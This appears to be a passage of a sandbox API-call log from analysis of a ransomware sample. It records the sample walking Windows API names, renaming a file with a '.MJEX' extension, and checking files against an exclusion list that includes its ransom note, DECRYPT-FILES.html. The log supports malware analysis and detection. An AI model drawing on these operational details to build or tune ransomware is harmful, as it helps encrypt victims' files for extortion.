[0146.377] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0146.377] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0146.377] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0146.377] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0146.377] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0146.377] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0146.377] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0146.377] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0146.377] lstrlenA (lpString="CLOSESTATE") returned 10 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0146.377] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0146.377] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0146.378] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0146.378] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0146.378] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0146.378] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0146.378] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0146.378] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0146.378] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0146.378] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0146.378] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0146.378] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0146.378] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0146.378] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0146.378] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0146.378] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0146.378] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0146.378] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0146.378] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0146.379] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0146.379] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0146.379] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0146.379] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0146.379] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0146.379] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0146.379] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0146.379] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0146.379] lstrlenA (lpString="COPYCONTEXT") returned 11 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0146.379] lstrlenA (lpString="COPYFILE2") returned 9 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0146.379] lstrlenA (lpString="COPYFILEA") returned 9 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0146.379] lstrlenA (lpString="COPYFILEEXA") returned 11 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0146.379] lstrlenA (lpString="COPYFILEEXW") returned 11 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0146.379] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0146.379] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0146.379] lstrlenA (lpString="COPYFILEW") returned 9 [0146.379] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0146.380] lstrlenA (lpString="COPYLZFILE") returned 10 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0146.380] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0146.380] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0146.380] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0146.380] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0146.380] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0146.380] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0146.380] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0146.380] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0146.380] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0146.380] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0146.380] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0146.380] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0146.380] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0146.380] lstrlenA (lpString="CREATEEVENTA") returned 12 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0146.380] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0146.380] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0146.380] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0146.381] lstrlenA (lpString="CREATEEVENTW") returned 12 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0146.381] lstrlenA (lpString="CREATEFIBER") returned 11 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0146.381] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0146.381] lstrlenA (lpString="CREATEFILE2") returned 11 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0146.381] lstrlenA (lpString="CREATEFILEA") returned 11 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0146.381] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0146.381] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0146.381] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0146.381] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0146.381] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0146.381] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0146.381] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0146.381] lstrlenA (lpString="CREATEFILEW") returned 11 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0146.381] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0146.381] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0146.381] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0146.381] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0146.381] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0146.382] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0146.382] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0146.382] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0146.382] lstrlenA (lpString="CREATEJOBSET") returned 12 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0146.382] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0146.382] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0146.382] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0146.382] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0146.382] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0146.382] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0146.382] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0146.382] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0146.382] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0146.382] lstrlenA (lpString="CREATEPIPE") returned 10 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0146.382] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0146.382] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0146.382] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0146.383] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0146.383] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0146.383] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0146.383] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0146.383] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0146.383] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0146.383] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0146.383] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0146.383] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0146.383] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0146.383] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0146.383] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0146.383] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0146.383] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0146.383] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0146.383] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0146.383] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0146.383] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0146.384] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0146.384] lstrlenA (lpString="CREATETHREAD") returned 12 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0146.384] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0146.384] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0146.384] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0146.384] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0146.384] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0146.384] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0146.384] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0146.384] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0146.385] wsprintfW (in: param_1=0x38bea60, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\DisplayIcon.ico.MJEX") returned 42 [0146.385] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.MJEX" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.mjex"), dwFlags=0x0) returned 1 [0146.385] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.386] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.386] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.386] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ca466b, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x47ca466b, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x47ca466b, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0146.386] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0146.387] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0146.387] lstrlenW (lpString="C:\\588bce7c90097ed212\\") returned 22 [0146.387] lstrlenW (lpString="eogwkz.dat") returned 10 [0146.387] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\588bce7c90097ed212\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0146.387] lstrcatW (in: 